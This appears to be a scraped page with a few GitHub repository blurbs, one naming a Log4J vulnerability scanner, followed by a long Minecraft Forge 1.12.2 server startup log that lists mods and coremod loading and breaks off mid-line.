Real-time 3D room reconstruction on Meta Quest 3. GPU TSDF + Surface Nets meshing, passthrough texturing, on-device texture refinement with Sobel normals, AI object detection (YOLO/Sentis + GPU NMS), MRUK scene understanding, Gaussian Splat training & rendering, multi-scan persistence with spatial anchors. Unity 6 URP package.
TaroballzChen
open detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability
gatorboy
No description available
org-metaeffekt
Local service for efficient integration of ScanCode Toolkit.
SilverYukiMoon
[14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.FMLServerTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Using primary tweak class name net.minecraftforge.fml.common.launcher.FMLServerTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.FMLServerTweaker [14:27:46] [main/DEBUG] [FML]: Injecting tracing printstreams for STDOUT/STDERR. [14:27:46] [main/INFO] [FML]: Forge Mod Loader version 14.23.5.2847 for Minecraft 1.12.2 loading [14:27:46] [main/INFO] [FML]: Java is OpenJDK 64-Bit Server VM, version 1.8.0_232, running on Linux:amd64:4.4.0-154-generic, installed at /usr/local/openjdk-8/jre [14:27:46] [main/DEBUG] [FML]: Java classpath at launch is: [14:27:46] [main/DEBUG] [FML]: forge.jar [14:27:46] [main/DEBUG] [FML]: Java library path at launch is: [14:27:46] [main/DEBUG] [FML]: /usr/java/packages/lib/amd64 [14:27:46] [main/DEBUG] [FML]: /usr/lib64 [14:27:46] [main/DEBUG] [FML]: /lib64 [14:27:46] [main/DEBUG] [FML]: /lib [14:27:46] [main/DEBUG] [FML]: /usr/lib [14:27:46] [main/DEBUG] [FML]: Determined Minecraft Libraries Root: /aternos/server/libraries [14:27:46] [main/DEBUG] [FML]: Cleaning up mods folder: ./mods [14:27:46] [main/DEBUG] [FML]: Examining file: animania-1.12.2-1.7.3.jar [14:27:46] [main/DEBUG] [FML]: Examining file: wings-1.1.6-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining file: jei_1.12.2-4.15.0.292.jar [14:27:46] [main/DEBUG] [FML]: Examining file: BackTools-1.12.2-7.0.1.jar [14:27:46] [main/DEBUG] [FML]: Examining file: DragonMounts2-1.12.2-1.6.3.jar [14:27:46] [main/DEBUG] [FML]: Examining file: CTM-MC1.12.2-1.0.1.30.jar [14:27:46] [main/DEBUG] [FML]: Examining file: bookworm-1.12.2-2.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: zawa-1.12.2-1.7.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: ExtraGems-1.12.2-(v.1.2.8).jar [14:27:46] [main/DEBUG] [FML]: Examining file: iceandfire-1.8.3.jar [14:27:46] [main/DEBUG] [FML]: Examining file: creature_whisperer_1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:46] [main/DEBUG] [FML]: Examining file: Instant Massive Structures Mod 1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: landmanager-1.12.2-1.4.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: claimitapi-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Making maven link for its_meow.claimit:claimit:1.12.2-1.2.0:api in memory to /aternos/server/./mods/claimitapi-1.12.2-1.2.0.jar. [14:27:46] [main/DEBUG] [FML]: Examining file: iChunUtil-1.12.2-7.2.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: claimit-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Making maven link for its_meow.claimit:claimit:1.12.2-1.2.0 in memory to /aternos/server/./mods/claimit-1.12.2-1.2.0.jar. [14:27:46] [main/DEBUG] [FML]: Examining file: techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:46] [main/DEBUG] [FML]: Examining file: spartanfire-0.07.jar [14:27:46] [main/DEBUG] [FML]: Examining file: horse_colors-1.12.2-1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: torohealth-1.12.2-11.jar [14:27:46] [main/DEBUG] [FML]: Examining file: JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:46] [main/DEBUG] [FML]: Examining file: SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:46] [main/DEBUG] [FML]: Examining file: mowziesmobs-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining file: SpartanShields-1.12.2-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining file: malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [FML]: Examining file: malisisdoors-1.12.2-7.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: llibrary-1.7.19-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Found existing ContainedDep llibrary-core-1.0.11-1.12.2.jar(net.ilexiconn:llibrary-core:1.0.11-1.12.2) from /aternos/server/mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar extracted to ./mods/llibrary-1.7.19-1.12.2.jar, skipping extraction [14:27:46] [main/DEBUG] [FML]: Examining file: llibrary-core-1.0.11-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Making maven link for net.ilexiconn:llibrary:1.7.19-1.12.2 in memory to /aternos/server/./mods/llibrary-1.7.19-1.12.2.jar. [14:27:46] [main/DEBUG] [FML]: Examining file: colorchat-1.12.1-2.0.43-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining file: k4lib-1.12.1-2.1.81-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining file: TeamUp-1.1.3-1.12.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:46] [main/DEBUG] [FML]: Examining file: betteranimalsplus-1.12.2-8.0.0.jar [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/claimitapi-1.12.2-1.2.0.jar, Skipping [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/claimit-1.12.2-1.2.0.jar, Skipping [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar, Skipping [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/llibrary-1.7.19-1.12.2.jar, Skipping [14:27:46] [main/DEBUG] [FML]: Enabling runtime deobfuscation [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class FMLCorePlugin [14:27:46] [main/WARN] [FML]: The coremod FMLCorePlugin (net.minecraftforge.fml.relauncher.FMLCorePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Added access transformer class net.minecraftforge.fml.common.asm.transformers.AccessTransformer to enqueued access transformers [14:27:46] [main/DEBUG] [FML]: Enqueued coremod FMLCorePlugin [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class FMLForgePlugin [14:27:46] [main/WARN] [FML]: The coremod FMLForgePlugin (net.minecraftforge.classloading.FMLForgePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod FMLForgePlugin [14:27:46] [main/DEBUG] [FML]: All fundamental core mods are successfully located [14:27:46] [main/DEBUG] [FML]: Discovering coremods [14:27:46] [main/INFO] [FML]: Searching /aternos/server/./mods for mods [14:27:46] [main/DEBUG] [FML]: Adding animania-1.12.2-1.7.3.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding wings-1.1.6-1.12.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding SereneSeasons-1.12.2-1.2.18-universal.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding jei_1.12.2-4.15.0.292.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding BackTools-1.12.2-7.0.1.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding DragonMounts2-1.12.2-1.6.3.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding CTM-MC1.12.2-1.0.1.30.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding bookworm-1.12.2-2.3.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding zawa-1.12.2-1.7.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding ExtraGems-1.12.2-(v.1.2.8).jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding iceandfire-1.8.3.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding creature_whisperer_1.0.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding ultimate_unicorn_mod-1.12.2-1.5.16.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding Instant Massive Structures Mod 1.12.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding landmanager-1.12.2-1.4.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding claimitapi-1.12.2-1.2.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding iChunUtil-1.12.2-7.2.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding claimit-1.12.2-1.2.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding techguns-1.12.2-2.0.2.0_pre3.1.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding spartanfire-0.07.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding horse_colors-1.12.2-1.0.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding torohealth-1.12.2-11.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding JustEnoughResources-1.12.2-0.9.2.60.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding SpartanWeaponry-1.12.2-beta-1.3.8.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding mowziesmobs-1.5.4.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding SpartanShields-1.12.2-1.5.4.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding malisiscore-1.12.2-6.5.1.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding malisisdoors-1.12.2-7.3.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding llibrary-1.7.19-1.12.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding colorchat-1.12.1-2.0.43-universal.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding k4lib-1.12.1-2.1.81-universal.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding TeamUp-1.1.3-1.12.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding betteranimalsplus-1.12.2-8.0.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy animania-1.12.2-1.7.3.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in animania-1.12.2-1.7.3.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy BackTools-1.12.2-7.0.1.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in BackTools-1.12.2-7.0.1.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy betteranimalsplus-1.12.2-8.0.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in betteranimalsplus-1.12.2-8.0.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy bookworm-1.12.2-2.3.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in bookworm-1.12.2-2.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy colorchat-1.12.1-2.0.43-universal.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in colorchat-1.12.1-2.0.43-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy creature_whisperer_1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in creature_whisperer_1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy CTM-MC1.12.2-1.0.1.30.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in CTM-MC1.12.2-1.0.1.30.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class CTMCorePlugin [14:27:46] [main/WARN] [FML]: The coremod team.chisel.ctm.client.asm.CTMCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [14:27:46] [main/WARN] [FML]: The coremod CTMCorePlugin (team.chisel.ctm.client.asm.CTMCorePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod CTMCorePlugin [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy DragonMounts2-1.12.2-1.6.3.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in DragonMounts2-1.12.2-1.6.3.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy ExtraGems-1.12.2-(v.1.2.8).jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in ExtraGems-1.12.2-(v.1.2.8).jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy horse_colors-1.12.2-1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in horse_colors-1.12.2-1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy iceandfire-1.8.3.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in iceandfire-1.8.3.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class IceAndFirePlugin [14:27:46] [main/TRACE] [FML]: coremod named iceandfire is loading [14:27:46] [main/DEBUG] [FML]: The coremod com.github.alexthe666.iceandfire.asm.IceAndFirePlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/WARN] [FML]: The coremod iceandfire (com.github.alexthe666.iceandfire.asm.IceAndFirePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod iceandfire [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy iChunUtil-1.12.2-7.2.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in iChunUtil-1.12.2-7.2.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy Instant Massive Structures Mod 1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in Instant Massive Structures Mod 1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy jei_1.12.2-4.15.0.292.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in jei_1.12.2-4.15.0.292.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy k4lib-1.12.1-2.1.81-universal.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in k4lib-1.12.1-2.1.81-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy landmanager-1.12.2-1.4.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in landmanager-1.12.2-1.4.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/INFO] [FML]: Loading tweaker org.spongepowered.asm.launch.MixinTweaker from malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy malisisdoors-1.12.2-7.3.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in malisisdoors-1.12.2-7.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy mowziesmobs-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in mowziesmobs-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in SereneSeasons-1.12.2-1.2.18-universal.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class SSLoadingPlugin [14:27:46] [main/WARN] [FML]: The coremod sereneseasons.asm.SSLoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [14:27:46] [main/WARN] [FML]: The coremod SSLoadingPlugin (sereneseasons.asm.SSLoadingPlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod SSLoadingPlugin [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy spartanfire-0.07.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in spartanfire-0.07.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy SpartanShields-1.12.2-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in SpartanShields-1.12.2-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy TeamUp-1.1.3-1.12.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in TeamUp-1.1.3-1.12.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in techguns-1.12.2-2.0.2.0_pre3.1.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class TechgunsFMLPlugin [14:27:46] [main/TRACE] [FML]: coremod named Techguns Core is loading [14:27:46] [main/DEBUG] [FML]: The coremod techguns.core.TechgunsFMLPlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/WARN] [FML]: The coremod Techguns Core (techguns.core.TechgunsFMLPlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod Techguns Core [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy torohealth-1.12.2-11.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in torohealth-1.12.2-11.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy wings-1.1.6-1.12.2.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in wings-1.1.6-1.12.2.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class WingsLoadingPlugin [14:27:46] [main/TRACE] [FML]: coremod named wings is loading [14:27:46] [main/DEBUG] [FML]: The coremod me.paulf.wings.server.asm.plugin.WingsLoadingPlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/WARN] [FML]: The coremod wings (me.paulf.wings.server.asm.plugin.WingsLoadingPlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod wings [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy zawa-1.12.2-1.7.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in zawa-1.12.2-1.7.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy claimitapi-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in claimitapi-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy claimit-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in claimit-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy llibrary-core-1.0.11-1.12.2.jar [14:27:46] [main/TRACE] [FML]: Adding llibrary-core-1.0.11-1.12.2.jar to the list of known coremods, it will not be examined again [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class LLibraryPlugin [14:27:46] [main/TRACE] [FML]: coremod named llibrary is loading [14:27:46] [main/DEBUG] [FML]: The coremod net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/DEBUG] [FML]: Found signing certificates for coremod llibrary (net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin) [14:27:46] [main/DEBUG] [FML]: Found certificate b9f30a813bee3b9dd5652c460310cfcd54f6b7ec [14:27:46] [main/DEBUG] [FML]: Enqueued coremod llibrary [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy llibrary-1.7.19-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in llibrary-1.7.19-1.12.2.jar [14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.FMLInjectionAndSortingTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name org.spongepowered.asm.launch.MixinTweaker [14:27:46] [main/DEBUG] [mixin]: MixinService [LaunchWrapper] was successfully booted in sun.misc.Launcher$AppClassLoader@33909752 [14:27:46] [main/INFO] [mixin]: SpongePowered MIXIN Subsystem Version=0.7.11 Source=file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar Service=LaunchWrapper Env=SERVER [14:27:46] [main/DEBUG] [mixin]: Adding new mixin transformer proxy #1 [14:27:46] [main/DEBUG] [mixin]: Initialising Mixin Platform Manager [14:27:46] [main/DEBUG] [mixin]: Mixin platform: primary container is file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: Adding mixin platform agents for container file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: Instancing new MixinPlatformAgentFML for file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: ForceLoadAsMod was specified for malisiscore-1.12.2-6.5.1.jar, attempting force-load [14:27:46] [main/DEBUG] [mixin]: Adding malisiscore-1.12.2-6.5.1.jar to reparseable coremod collection [14:27:46] [main/DEBUG] [mixin]: malisiscore-1.12.2-6.5.1.jar has core plugin net.malisis.core.asm.MalisisCorePlugin. Injecting it into FML for co-initialisation: [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class MalisisCorePlugin [14:27:46] [main/WARN] [FML]: The coremod net.malisis.core.asm.MalisisCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [14:27:46] [main/WARN] [FML]: The coremod MalisisCorePlugin (net.malisis.core.asm.MalisisCorePlugin) is not signed! [14:27:46] [main/INFO] [mixin]: Compatibility level set to JAVA_8 [14:27:46] [main/DEBUG] [FML]: Enqueued coremod MalisisCorePlugin [14:27:46] [main/DEBUG] [mixin]: Instancing new MixinPlatformAgentDefault for file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/forge.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/CTM-MC1.12.2-1.0.1.30.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/iceandfire-1.8.3.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/SereneSeasons-1.12.2-1.2.18-universal.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/techguns-1.12.2-2.0.2.0_pre3.1.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/wings-1.1.6-1.12.2.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar for mixin tweaker [14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.FMLDeobfTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.FMLInjectionAndSortingTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.FMLInjectionAndSortingTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:46] [main/DEBUG] [FML]: Injecting coremod FMLCorePlugin \{net.minecraftforge.fml.relauncher.FMLCorePlugin\} class transformers [14:27:46] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.SideTransformer [14:27:47] [main/DEBUG] [mixin]: Preparing mixins for MixinEnvironment[PREINIT] [14:27:47] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.EventSubscriptionTransformer [14:27:47] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.EventSubscriberTransformer [14:27:47] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.SoundEngineFixTransformer [14:27:47] [main/DEBUG] [FML]: Injection complete [14:27:47] [main/DEBUG] [FML]: Running coremod plugin for FMLCorePlugin \{net.minecraftforge.fml.relauncher.FMLCorePlugin\} [14:27:47] [main/DEBUG] [FML]: Running coremod plugin FMLCorePlugin [14:27:48] [main/DEBUG] [FML]: Read 1145 binary patches [14:27:48] [main/DEBUG] [FML]: Loading deobfuscation resource /deobfuscation_data-1.12.2.lzma with 36083 records [14:27:49] [main/ERROR] [FML]: FML appears to be missing any signature data. This is not a good thing [14:27:49] [main/DEBUG] [FML]: Coremod plugin class FMLCorePlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod FMLForgePlugin \{net.minecraftforge.classloading.FMLForgePlugin\} class transformers [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for FMLForgePlugin \{net.minecraftforge.classloading.FMLForgePlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin FMLForgePlugin [14:27:49] [main/DEBUG] [FML]: Coremod plugin class FMLForgePlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod SSLoadingPlugin \{sereneseasons.asm.SSLoadingPlugin\} class transformers [14:27:49] [main/TRACE] [FML]: Registering transformer sereneseasons.asm.transformer.EntityRendererTransformer [14:27:49] [main/TRACE] [FML]: Registering transformer sereneseasons.asm.transformer.WorldTransformer [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for SSLoadingPlugin \{sereneseasons.asm.SSLoadingPlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin SSLoadingPlugin [14:27:49] [main/DEBUG] [FML]: Coremod plugin class SSLoadingPlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class org.spongepowered.asm.launch.MixinTweaker [14:27:49] [main/DEBUG] [mixin]: Processing prepare() for PlatformAgent[MixinPlatformAgentFML:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Processing prepare() for PlatformAgent[MixinPlatformAgentDefault:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Registering mixin config: mixins.malisiscore.core.json [14:27:49] [main/DEBUG] [mixin]: Processing launch tasks for PlatformAgent[MixinPlatformAgentFML:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Creating FML remapper adapter: org.spongepowered.asm.bridge.RemapperAdapterFML [14:27:49] [main/INFO] [mixin]: Initialised Mixin FML Remapper Adapter with net.minecraftforge.fml.common.asm.transformers.deobf.FMLDeobfuscatingRemapper@6df7988f [14:27:49] [main/DEBUG] [mixin]: Processing launch tasks for PlatformAgent[MixinPlatformAgentDefault:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/forge.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/CTM-MC1.12.2-1.0.1.30.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/iceandfire-1.8.3.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/SereneSeasons-1.12.2-1.2.18-universal.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/techguns-1.12.2-2.0.2.0_pre3.1.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/wings-1.1.6-1.12.2.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar for mixin tweaker [14:27:49] 